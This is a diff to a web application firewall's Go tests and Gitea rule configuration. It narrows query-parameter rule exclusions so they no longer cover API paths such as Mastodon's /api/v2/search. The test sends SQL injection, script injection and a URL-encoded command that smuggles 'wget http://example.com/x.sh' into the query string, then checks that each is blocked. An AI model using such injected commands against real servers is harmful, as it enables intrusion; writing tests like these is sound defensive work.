internal/coreruleset/coreruleset_test.go

@@ -674,6 +674,25 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 			}
 		}
 	}
+
+	// gitea has no owner named api, so these are not a repository's search,
+	// issues or pull requests. /api/v2/search is Mastodon's search.
+	for _, path := range []string{
+		"/api/v2/search",
+		"/api/v2/issues",
+		"/api/v2/pulls",
+	} {
+		for _, attack := range []string{
+			sqlInjection,
+			scriptInjection,
+			"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
+		} {
+			target := path + "?q=" + attack
+			if got := inspect(t, crs, get(target)); got.Score < threshold {
+				t.Errorf("%s let through: %+v", target, got)
+			}
+		}
+	}
 }
 
 // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the

internal/coreruleset/gitea.conf

@@ -35,13 +35,18 @@
 #   944100: java.lang.Runtime
 #   944110: java.lang.Runtime
 #   944130: java.lang.Runtime
+# gitea has no owner named api. A repository's search, issues, pull requests and
+# commit search with that owner get none of this. /api/v2/search, for example,
+# is Mastodon's search.
 SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
     [^/]+/-/code|\
     [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
     commits/(?:branch|tag|commit)/.+/search)|\
     api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
-    "id:900600,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930110;ARGS:q,\
+    "id:900600,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
+        pulls|commits/(?:branch|tag|commit)/.+/search)$" \
+        "ctl:ruleRemoveTargetById=930110;ARGS:q,\
         ctl:ruleRemoveTargetById=930120;ARGS:q,\
         ctl:ruleRemoveTargetById=931100;ARGS:q,\
         ctl:ruleRemoveTargetById=932120;ARGS:q,\